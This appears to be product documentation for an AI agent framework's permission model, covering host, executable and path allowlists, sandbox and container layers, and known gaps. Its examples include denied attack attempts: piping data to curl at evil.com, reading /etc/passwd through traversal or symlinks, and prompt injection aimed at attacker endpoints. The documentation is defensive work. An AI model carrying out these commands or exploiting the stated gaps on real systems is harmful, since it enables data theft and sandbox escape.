The permission model
The four permission types, what each one allows and blocks, the three enforcement layers and where the boundaries stop today.
A service agent runs at 3am, triggered by a webhook, on a machine nobody is watching.
There is no one to ask "may I run this?", so the question has to be answered before the
agent starts. That is what the permissions: block is for: you declare once, in config,
what the agent is allowed to touch, and everything else is denied. There is no prompt at
runtime. When the agent tries something outside its grants, the denial goes back to it as
an ordinary tool result and it carries on with that as context for its next turn.
The default is deny. An agent with no permissions: block can touch nothing, and there
is no way to grant more while the agent is running. Widening a boundary means editing the
file and redeploying, so a capability change gets reviewed and versioned like any other
config change.
The four permission types
Permissions come in four axes: net, run, read and write. Each one is an
allowlist, and each native tool only exists for the agent when its axis grants something.
This means that no unused tool schema takes up context, and there is nothing sitting
there to misuse.
net: which hosts the agent can call
permissions:
net: [api.github.com, "*.internal.example.com"]With this block, http_request can reach api.github.com and any subdomain of
internal.example.com, such as mcp.internal.example.com. A request to any other host
comes back as permission denied: net access to "evil.com" is not in the agent's permissions.net allowlist. The wildcard covers subdomains only; internal.example.com
itself needs its own entry. With no net: list, the http_request tool does not exist
for the agent at all.
run: which executables the agent can spawn
permissions:
run: [gh, grep]With this block, run_bash can execute gh issue list | grep bug. The framework does
not trust the shell: it extracts every executable from pipes and chains and checks each
one against the list, so gh issue list | curl evil.com is denied because curl is
missing from the allowlist. Command substitution ($(...), backticks, <(...)) is
rejected outright, because there is no way to check what is inside it before it runs.
Executables are matched by basename, so /usr/bin/gh counts as gh.
read and write: which paths the agent can touch
permissions:
read: [/workspace]
write: [/workspace/out]With this block, read_file can open /workspace/notes.md and write_file can create
/workspace/out/report.md. Reading /etc/passwd is denied, and so is the traversal
attempt /workspace/../etc/passwd, because paths are normalized before the check. Writes
outside /workspace/out are denied, including the rest of /workspace.
A prefix covers everything beneath it, so read: [/workspace] grants every file in every
subdirectory. What it does not grant is a file that merely looks like it lives there. The
tools resolve a path's symlinks before authorizing it, and they act on the resolved path,
so a link at /workspace/escape pointing at /etc gives the agent no more reach than it
already had: /workspace/escape/passwd is checked as /etc/passwd, and denied. Links
that stay inside the root keep working, which is what lets an allowed root be a symlink
itself, the way /tmp is on macOS.
An agent with an empty permissions: block carries only current_time, plus
read_skill if it has skills. The full toolset and what makes each tool
appear is in Tools; syntax, matching rules and secrets are in
Permissions.
The three layers
We don't trust any single boundary to hold. Enforcement nests in three layers, and each layer assumes the one inside it can fail.
- The permission engine. Framework code checks every native tool call against the allowlists above, and every decision, allowed and denied, lands in the audit trail.
- The Deno sandbox. The agent process itself is launched with only the rights it
needs: in the base image, reads scoped to
/agent,/skills,/dataand/run/secrets, writes to/dataand subprocess spawning tobashalone. The runtime enforces this underneath the framework's own code, so a bug in the framework can't grant an access the runtime was never given. An agent that spawns nothing runs under a tighter set still, with its net allowlist compiled into--allow-net(hermetic mode).af flags agent.yamlprints the flags a config runs under. - The container. This is the outer wall and the unit of isolation.
bashsubprocesses escape the Deno sandbox by design, and the container is what contains them. That is also why there is no "run on the host" mode: the framework refuses to run where its outermost layer is missing.
Subprocesses and MCP servers receive only the env vars their config block grants, plus
PATH/HOME, and secret values are injected server side, so they never enter the
model's context.
Hermetic mode
The subprocess escape hatch only exists when your config asks for it. If an agent has no
permissions.run grants and no stdio MCP servers, then nothing runs outside the Deno
sandbox, and every byte the agent sends leaves through the runtime. That means the runtime
itself can hold the whole net allowlist, and it does.
When an agent like that starts, the container entrypoint reads the config and re-execs
itself with --allow-net narrowed to the hosts the agent is actually allowed to reach,
before it has connected to anything. You don't turn this on. It's what qualifying agents
get, and af flags shows you the flags they run under:
$ af flags agent.yaml
--allow-env --allow-read=/agent,/skills,/data,/looped,/deno-dir,/run/secrets \
--allow-write=/data --allow-net=0.0.0.0:9090,api.anthropic.com,api.github.comThe framework works out the hosts it needs for itself, and they all come from the config:
the model endpoint, the hosts each trigger talks to (Discord's API and its gateway, the
Telegram bot API, your IMAP and SMTP servers), the URL of every HTTP MCP server, and the
ports the status server and any webhook trigger listen on. Everything else in
permissions.net is yours. A host that appears in neither is refused by the runtime, so a
prompt injection that talks an MCP client or a provider SDK into calling an attacker's
endpoint doesn't get out.
Two things will keep an agent out of hermetic mode, and af validate names them:
- A subprocess. Any
permissions.runentry, or an MCP server declared withcommand:rather thanurl:, spawns a process that leaves the Deno sandbox, and once it has, the runtime cannot hold it. - Live voice. A discord trigger with
voice_channelssends audio over UDP to a media server Discord assigns per session, and Deno cannot hold a permission for an address nobody knows in advance (Voice).
Either way the container is that agent's egress boundary.
Wildcard hosts compile. Deno's --allow-net accepts *.example.com, so a config that
grants subdomains still qualifies for hermetic mode. One nuance is worth knowing about:
Deno's wildcard also covers the apex, which means at the sandbox layer *.example.com
reaches example.com too. The permission engine keeps enforcing the stricter
subdomains-only pattern for every http_request call; the wider match applies to the
runtime's own clients, and we took that one extra host over leaving the whole net open
for wildcard configs.
The tradeoff is deliberate. Hermetic mode rewards the absence of subprocesses; it doesn't forbid their presence. The CLI-plus-skill pattern is half of what this framework is for.
Where the boundaries stop today
The model above is honest about its edges, and you should know where they are before you rely on it.
An MCP server's network traffic bypasses permissions.net. The engine checks hosts
for the native http_request tool; whatever outbound calls an MCP server makes happen
outside it. When you declare a server under tools.mcp, you are trusting where it talks
to. Your controls on the tool side are the include: filter (a tool you didn't include
does not exist for the agent), the readonly: flag and the scoped env: block, and
every MCP call lands in the audit trail; the server's own egress is bounded by the
container.
Network egress is open below the app layer for an agent that spawns things. If your
agent has permissions.run grants or a stdio MCP server, something runs outside the Deno
sandbox, and per-host enforcement happens only in the permission engine. A gh you
allowed will talk to whatever it wants. If egress matters for that agent, restrict it at
the container layer with your network setup.
Agents that spawn nothing don't have this problem. See below.
run matches by basename. run: [gh] allows any executable named gh, wherever it
lives. Inside the hardened base image that is fine in practice; if you derive an image
that widens the writable paths, keep in mind that the container is the backstop.
Path grants are enforced in the engine, and only there. Deno's --allow-read=/workspace
follows a symlink out of /workspace as readily as the tools once did, so the runtime
layer is not a second opinion on where a path leads. The engine resolves symlinks and
authorizes the destination, and the container is the layer that decides whether the
destination exists in the agent's filesystem at all. If a path must be unreachable, do not
mount it.
Resolving a path and opening it are two steps. The tools resolve, authorize, then act
on the resolved path, so a link cannot redirect a call that was already checked. What
remains is the classic gap between those steps: a component swapped for a symlink in the
microseconds between them would be followed. Tool calls within a run are serialized, so an
agent cannot race itself, and closing the gap properly needs openat2-style syscalls that
Deno does not expose. An attacker who can already write to the agent's allowed root to win
that race has the box.
The result is that you can run an agent unattended and know its worst case in advance: the agent can reach exactly what its grants say, the runtime and the container hold that boundary underneath the framework's own code, and the remaining edges are outlined above. The config itself is hard to get wrong without noticing, because unknown keys are rejected at load time and anything you leave out is denied.
Are you an AI? Visit llms.txt — these docs as plain markdown.